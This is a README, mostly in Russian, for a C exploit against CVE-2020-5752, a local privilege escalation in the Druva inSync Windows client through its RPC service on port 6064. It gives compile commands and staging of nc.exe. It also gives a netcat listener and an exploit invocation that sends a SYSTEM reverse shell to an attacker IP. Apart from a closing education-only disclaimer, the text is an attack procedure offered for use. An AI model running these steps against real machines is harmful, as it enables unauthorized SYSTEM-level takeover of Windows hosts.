CVE-2020-5752: Druva inSync локальное повышение привилегий

Эксплойт на C для Druva inSync Windows Client (v6.6.3 и ниже). Приложение предоставляет RPC-сервис на порту 6064, уязвимый к внедрению команд через path traversal. Это позволяет локальному пользователю выполнять произвольные команды от имени NT AUTHORITY\SYSTEM.

Детали уязвимости

• CVE: 2020-5752
• Протестировано на: Windows 10 (x64)
• Уровень привилегий: Локальное повышение привилегий (LPE)

Использование

1. Компиляция

Используйте gcc (MinGW) для компиляции исходного кода:

gcc exploit.c -o exploit.exe -lws2_32

2. Подготовка

Поместите копию nc.exe в каталог, доступный для учетной записи SYSTEM (например, C:\Windows\Tasks).

3. Запуск

Запустите прослушиватель на вашей атакующей машине:

nc -lvnp 4444
Run the exploit on the target Windows machine:

exploit.exe <Attacker_IP> <Attacker_Port> <Path_to_NC>
Example:
exploit.exe 10.10.10.5 4444 C:\Windows\Tasks\nc.exe

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей. Несанкционированное использование на системах, на которые у вас нет разрешения на тестирование, является незаконным.